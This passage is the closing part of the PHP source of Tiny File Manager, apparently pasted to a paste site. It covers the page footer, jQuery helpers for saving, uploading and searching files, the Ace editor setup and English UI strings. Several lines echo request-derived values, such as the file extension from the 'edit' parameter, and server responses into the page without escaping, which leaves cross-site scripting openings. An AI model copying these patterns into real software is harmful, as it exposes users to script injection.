  3588. 100%,50% { top:19px;height:26px }
  3589. }
  3590. ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
  3591. ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
  3592. .c-preview-img {
  3593. max-width: 300px;
  3594. }
  3595. </style>
  3596. <?php
  3597. if (FM_THEME == "dark"): ?>
  3598. <style>
  3599. body.theme-dark { background-color: #2f2a2a; }
  3600. .list-group .list-group-item { background: #343a40; }
  3601. .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
  3602. a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
  3603. ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
  3604. .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
  3605. .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
  3606. </style>
  3607. <?php endif; ?>
  3608. </head>
  3609. <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
  3610. <div id="wrapper" class="container-fluid">
  3611.  
  3612. <!-- New Item creation -->
  3613. <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
  3614. <div class="modal-dialog" role="document">
  3615. <div class="modal-content <?php echo fm_get_theme(); ?>">
  3616. <div class="modal-header">
  3617. <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
  3618. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  3619. <span aria-hidden="true">&times;</span>
  3620. </button>
  3621. </div>
  3622. <div class="modal-body">
  3623. <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
  3624.  
  3625. <div class="custom-control custom-radio custom-control-inline">
  3626. <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
  3627. <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
  3628. </div>
  3629.  
  3630. <div class="custom-control custom-radio custom-control-inline">
  3631. <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
  3632. <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
  3633. </div>
  3634.  
  3635. <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
  3636. <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
  3637. </div>
  3638. <div class="modal-footer">
  3639. <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
  3640. <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
  3641. </div>
  3642. </div>
  3643. </div>
  3644. </div>
  3645.  
  3646. <!-- Modal -->
  3647. <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
  3648. <div class="modal-dialog modal-lg" role="document">
  3649. <div class="modal-content <?php echo fm_get_theme(); ?>">
  3650. <div class="modal-header">
  3651. <h5 class="modal-title col-10" id="searchModalLabel">
  3652. <div class="input-group input-group">
  3653. <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
  3654. <div class="input-group-append">
  3655. <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
  3656. </div>
  3657. </div>
  3658. </h5>
  3659. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  3660. <span aria-hidden="true">&times;</span>
  3661. </button>
  3662. </div>
  3663. <div class="modal-body">
  3664. <form action="" method="post">
  3665. <div class="lds-facebook"><div></div><div></div><div></div></div>
  3666. <ul id="search-wrapper">
  3667. <p class="m-2">Search file in folder and subfolders...</p>
  3668. </ul>
  3669. </form>
  3670. </div>
  3671. </div>
  3672. </div>
  3673. </div>
  3674. <script type="text/html" id="js-tpl-modal">
  3675. <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
  3676. <div class="modal-dialog modal-dialog-centered" role="document">
  3677. <div class="modal-content">
  3678. <div class="modal-header">
  3679. <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
  3680. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  3681. <span aria-hidden="true">&times;</span>
  3682. </button>
  3683. </div>
  3684. <div class="modal-body">
  3685. <%this.content%>
  3686. </div>
  3687. <div class="modal-footer">
  3688. <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
  3689. <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
  3690. </div>
  3691. </div>
  3692. </div>
  3693. </div>
  3694. </script>
  3695.  
  3696. <?php
  3697. }
  3698.  
  3699. /**
  3700. * Show page footer
  3701. */
  3702. function fm_show_footer()
  3703. {
  3704. ?>
  3705. </div>
  3706. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  3707. <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
  3708. <script src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js"></script>
  3709. <script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
  3710. <?php if (FM_USE_HIGHLIGHTJS): ?>
  3711. <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script>
  3712. <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
  3713. <?php endif; ?>
  3714. <script>
  3715. $(document).on('click', '[data-toggle="lightbox"]', function(event) {
  3716. event.preventDefault();
  3717. var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
  3718. $(this).ekkoLightbox({
  3719. alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
  3720. });
  3721. });
  3722. //TFM Config
  3723. window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
  3724. function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
  3725. function template(html,options){
  3726. var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
  3727. while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
  3728. add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
  3729. }
  3730. function newfolder(e) {
  3731. var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
  3732. null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
  3733. }
  3734. function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
  3735. function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
  3736. function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
  3737. function select_all() { change_checkboxes(get_checkboxes(), !0) }
  3738. function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
  3739. function invert_all() { change_checkboxes(get_checkboxes()) }
  3740. function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
  3741. function backup(e, t) { //Create file backup with .bck
  3742. var n = new XMLHttpRequest,
  3743. a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
  3744. return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
  3745. 4 == n.readyState && 200 == n.status && toast(n.responseText)
  3746. }, n.send(a), !1
  3747. }
  3748. // Toast message
  3749. function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
  3750. //Save file
  3751. function edit_save(e, t) {
  3752. var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
  3753. if (n) {
  3754. if(true){
  3755. var data = {ajax: true, content: n, type: 'save'};
  3756.  
  3757. $.ajax({
  3758. type: "POST",
  3759. url: window.location,
  3760. // The key needs to match your method's input parameter (case-sensitive).
  3761. data: JSON.stringify(data),
  3762. contentType: "multipart/form-data-encoded; charset=utf-8",
  3763. //dataType: "json",
  3764. success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
  3765. failure: function(mes) {toast("Error: try again");},
  3766. error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
  3767. });
  3768.  
  3769. }
  3770. else{
  3771. var a = document.createElement("form");
  3772. a.setAttribute("method", "POST"), a.setAttribute("action", "");
  3773. var o = document.createElement("textarea");
  3774. o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
  3775. var c = document.createTextNode(n);
  3776. o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
  3777. }
  3778. }
  3779. }
  3780. //Check latest version
  3781. function latest_release_info(v) {
  3782. if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
  3783. if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
  3784. $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
  3785. }
  3786. function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
  3787. //Save Settings
  3788. function save_settings($this) {
  3789. let form = $($this);
  3790. $.ajax({
  3791. type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
  3792. success: function (data) {if(data) { window.location.reload();}}
  3793. }); return false;
  3794. }
  3795. //Create new password hash
  3796. function new_password_hash($this) {
  3797. let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
  3798. $.ajax({
  3799. type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
  3800. success: function (data) { if(data) { $pwd.val(data); } }
  3801. }); return false;
  3802. }
  3803. //Upload files using URL @param {Object}
  3804. function upload_from_url($this) {
  3805. let form = $($this), resultWrapper = $("div#js-url-upload__list");
  3806. $.ajax({
  3807. type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
  3808. beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
  3809. success: function (data) {
  3810. if(data) {
  3811. data = JSON.parse(data);
  3812. if(data.done) {
  3813. resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
  3814. } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
  3815. form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
  3816. }
  3817. },
  3818. error: function(xhr) {
  3819. form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
  3820. }
  3821. }); return false;
  3822. }
  3823. //Search template
  3824. function search_template(data) {
  3825. var response = "";
  3826. $.each(data, function (key, val) {
  3827. response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
  3828. });
  3829. return response;
  3830. }
  3831. //search
  3832. function fm_search() {
  3833. var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
  3834. if(!!searchTxt && searchTxt.length > 2 && path) {
  3835. var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
  3836. $.ajax({
  3837. type: "POST",
  3838. url: window.location,
  3839. data: data,
  3840. beforeSend: function() {
  3841. searchWrapper.html('');
  3842. $loader.addClass('show-me');
  3843. },
  3844. success: function(data){
  3845. $loader.removeClass('show-me');
  3846. data = JSON.parse(data);
  3847. if(data && data.length) {
  3848. _html = search_template(data);
  3849. searchWrapper.html(_html);
  3850. } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
  3851. },
  3852. error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
  3853. failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
  3854. });
  3855. } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
  3856. }
  3857.  
  3858. //on mouse hover image preview
  3859. !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
  3860.  
  3861. // Dom Ready Event
  3862. $(document).ready( function () {
  3863. //load config
  3864. fm_get_config();
  3865. //dataTable init
  3866. var $table = $('#main-table'),
  3867. tableLng = $table.find('th').length,
  3868. _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
  3869. mainTable = $('#main-table').DataTable({"paging": false, "info": false, "order": [], "columnDefs": [{"targets": _targets, "orderable": false}]
  3870. });
  3871. //search
  3872. $('#search-addon').on( 'keyup', function () {
  3873. mainTable.search( this.value ).draw();
  3874. });
  3875. $("input#advanced-search").on('keyup', function (e) {
  3876. if (e.keyCode === 13) { fm_search(); }
  3877. });
  3878. $('#search-addon3').on( 'click', function () { fm_search(); });
  3879. //upload nav tabs
  3880. $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
  3881. e.preventDefault();let target=$(this).data('target');
  3882. $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
  3883. $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
  3884. });
  3885. });
  3886. </script>
  3887. <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE):
  3888. $ext = "javascript";
  3889. $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
  3890. ?>
  3891. <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
  3892. <script>
  3893. var editor = ace.edit("editor");
  3894. editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
  3895. //editor.setTheme("ace/theme/twilight"); //Dark Theme
  3896. function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
  3897. editor.commands.addCommands([{
  3898. name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
  3899. exec: function(editor) { edit_save(this, 'ace'); }
  3900. }]);
  3901. function renderThemeMode() {
  3902. var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
  3903. _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
  3904. if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
  3905. if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
  3906. if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
  3907. $modeEl.val( editor.getSession().$modeId );
  3908. $themeEl.val( editor.getTheme() );
  3909. $fontSizeEl.val(12).change(); //set default font size in drop down
  3910. }
  3911.  
  3912. $(function(){
  3913. renderThemeMode();
  3914. $(".js-ace-toolbar").on("click", 'button', function(e){
  3915. e.preventDefault();
  3916. let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
  3917. if(cmdValue && cmdValue != "none") {
  3918. ace_commend(cmdValue);
  3919. } else if(editorOption) {
  3920. if(editorOption == "fullscreen") {
  3921. (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
  3922. &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
  3923. } else if(editorOption == "wrap") {
  3924. let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
  3925. editor.getSession().setUseWrapMode(wrapStatus);
  3926. } else if(editorOption == "help") {
  3927. var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
  3928. }
  3929. }
  3930. });
  3931. $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
  3932. e.preventDefault();
  3933. let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
  3934. if(selectedValue && selectionType == "mode") {
  3935. editor.getSession().setMode(selectedValue);
  3936. } else if(selectedValue && selectionType == "theme") {
  3937. editor.setTheme(selectedValue);
  3938. }else if(selectedValue && selectionType == "fontSize") {
  3939. editor.setFontSize(parseInt(selectedValue));
  3940. }
  3941. });
  3942. });
  3943. </script>
  3944. <?php endif; ?>
  3945. <div id="snackbar"></div>
  3946. </body>
  3947. </html>
  3948. <?php
  3949. }
  3950.  
  3951. /**
  3952. * Language Translation System
  3953. * @param string $txt
  3954. * @return string
  3955. */
  3956. function lng($txt) {
  3957. global $lang;
  3958.  
  3959. // English Language
  3960. $tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager';
  3961. $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
  3962. $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
  3963. $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
  3964. $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
  3965. $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
  3966. $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
  3967. $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
  3968. $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
  3969. $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
  3970. $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
  3971. $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
  3972. $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
  3973. $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
  3974. $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
  3975. $tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions';
  3976. $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
  3977. $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
  3978. $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
  3979. $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
  3980. $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
  3981. $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
  3982. $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
  3983. $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
  3984. $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
  3985. $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
  3986. $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['PartitionSize'] = 'Partition size';
  3987. $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
  3988. $tr['en']['Full size'] = 'Full size'; $tr['en']['Help'] = 'Help';
  3989. $tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview';
  3990. $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
  3991. $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
  3992. $tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size';
  3993. $tr['en']['ProcessID'] = 'Process ID'; $tr['en']['Created'] = 'Created';
  3994. $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
  3995. $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
  3996. $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
  3997. $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
  3998.  
  3999. $i18n = fm_get_translations($tr);
  4000. $tr = $i18n ? $i18n : $tr;
  4001.  
  4002. if (!strlen($lang)) $lang = 'en';
  4003. if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
  4004. else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
  4005. else return "$txt";
  4006. }
  4007.  
  4008. ?>
  4009.  
Add Comment
Please, Sign In to add comment